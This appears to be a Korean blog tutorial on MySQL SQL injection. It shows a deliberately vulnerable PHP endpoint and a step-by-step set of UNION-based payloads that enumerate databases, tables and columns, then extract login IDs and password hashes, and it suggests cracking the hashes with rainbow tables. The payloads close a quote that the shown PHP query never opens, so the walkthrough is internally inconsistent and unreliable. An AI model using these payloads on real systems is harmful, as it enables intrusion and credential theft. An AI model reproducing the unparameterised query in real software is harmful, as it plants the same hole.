SQL 인젝션 취약점 분석 및 UNION 기반 데이터 추출 기법

관계형 데이터베이스 기본 연산

데이터베이스 조작을 위한 기본 SQL 구문은 인젝션 공격의 기반이 됩니다. 다음은 데이터베이스 및 테이블을 관리하고 데이터를 조회하는 핵심 명령어입니다.

데이터베이스 및 테이블 관리

-- 데이터베이스 생성 및 선택
CREATE DATABASE inventory_db;
USE inventory_db;

-- 테이블 생성 및 데이터 삽입
CREATE TABLE products (
    item_id INT PRIMARY KEY,
    item_name VARCHAR(100)
);
INSERT INTO products (item_id, item_name) VALUES (101, 'Laptop');

-- 전체 테이블 목록 조회
SHOW TABLES;

데이터 조회 및 LIMIT 절

조건에 따른 데이터 조회와 결과 행 수를 제한하는 LIMIT 절은 데이터 추출 시 필수적입니다.

-- 단일 조건 조회
SELECT item_name FROM inventory_db.products WHERE item_id = 101;

-- 다중 조건 조회
SELECT * FROM products WHERE item_id = 101 AND item_name = 'Laptop';

-- LIMIT을 이용한 결과 제한 (오프셋 0부터 1개의 행만 반환)
SELECT * FROM products LIMIT 0, 1;

시스템 함수 및 주석 처리

  • 주요 함수: DATABASE() (현재 DB), VERSION() (MySQL 버전), USER() (현재 사용자)
  • 주석 기호: #, -- (뒤에 공백 필요), /**/
  • 인라인 주석: /*!50000 SQL문 */ 형식으로 작성하며, MySQL 버전이 5.0.0 이상일 때만 내부 쿼리가 실행됩니다.

메타데이터 데이터베이스 (information_schema)

MySQL은 데이터베이스의 구조적 메타데이터를 저장하는 information_schema를 기본적으로 제공합니다. 인젝션을 통한 구조 파악 시 다음 세 가지 테이블이 핵심적으로 사용됩니다.

  • SCHEMATA: 모든 데이터베이스 목록을 저장하며, DB명은 SCHEMA_NAME 컬럼에 기록됩니다.
  • TABLES: 모든 테이블 정보를 저장하며, DB명과 테이블명은 각각 TABLE_SCHEMA, TABLE_NAME 컬럼에 기록됩니다.
  • COLUMNS: 모든 컬럼 정보를 저장하며, DB명, 테이블명, 컬럼명은 각각 TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME 컬럼에 기록됩니다.

SQL 인젝션 발생 메커니즘

웹 애플리케이션이 사용자 입력값을 적절히 검증하거나 이스케이프 처리하지 않고 SQL 쿼리에 직접 바인딩할 때 취약점이 발생합니다.

<?php
require 'db_config.php';
$product_id = $_GET['item_id'];
$query = "SELECT item_name, price FROM products WHERE item_id = " . $product_id;
$result = $pdo->query($query);
echo json_encode($result->fetch());
?>

사용자가 item_id 파라미터를 조작하여 쿼리의 논리를 변형할 수 있습니다.

  • 문법 오류 유발: item_id=101' 입력 시 닫히지 않은 따옴표로 인해 DB 오류가 발생합니다.
  • 불리언 기반 테스트: item_id=101 AND 1=1 (참, 정상 페이지 출력)과 item_id=101 AND 1=2 (거짓, 빈 결과 출력)의 응답 차이를 통해 취약점 존재 여부를 확인합니다.

UNION 기반 데이터 추출 프로세스

UNION 인젝션은 기존 쿼리의 결과에 공격자가 작성한 쿼리의 결과를 결합하여 데이터를 추출하는 기법입니다.

1. 컬럼 수 파악 및 출력 위치 확인

ORDER BY 절을 사용하여 원본 쿼리의 컬럼 개수를 파악합니다.

/api/items?item_id=101' ORDER BY 3-- 

3번 컬럼까지는 정상 응답하고 4번에서 오류가 발생하면 컬럼 수는 3개입니다. 이후 UNION SELECT를 사용하여 화면에 출력되는 위치를 확인합니다. 기존 결과를 숨기기 위해 존재하지 않는 ID를 사용합니다.

/api/items?item_id=-1' UNION SELECT 1,2,3-- 

2. 시스템 정보 및 데이터베이스 목록 추출

출력되는 위치에 시스템 함수와 메타데이터 쿼리를 삽입합니다.

/api/items?item_id=-1' UNION SELECT 1,USER(),DATABASE()-- 

information_schema를 통해 데이터베이스 목록을 순차적으로 조회합니다.

/api/items?item_id=-1' UNION SELECT 1,SCHEMA_NAME,3 FROM information_schema.SCHEMATA LIMIT 1,1-- 

3. 테이블 및 컬럼 구조 파악

목표 데이터베이스(예: customer_db) 내의 테이블명을 추출합니다.

/api/items?item_id=-1' UNION SELECT 1,TABLE_NAME,3 FROM information_schema.TABLES WHERE TABLE_SCHEMA='customer_db' LIMIT 0,1-- 

특정 테이블(예: accounts)의 컬럼명을 추출합니다.

/api/items?item_id=-1' UNION SELECT 1,COLUMN_NAME,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='customer_db' AND TABLE_NAME='accounts' LIMIT 0,1-- 

4. 최종 데이터 추출

확인된 컬럼명(예: login_id, pass_hash)을 이용하여 실제 민감 데이터를 추출합니다.

/api/items?item_id=-1' UNION SELECT 1,login_id,pass_hash FROM customer_db.accounts LIMIT 0,1-- 

추출된 해시값은 적절한 복호화 도구나 레인보우 테이블을 통해 평문으로 변환할 수 있습니다.

태그: SQLInjection MySQL UnionBasedInjection PHP InformationSchema

8월 7일 20:44에 게시됨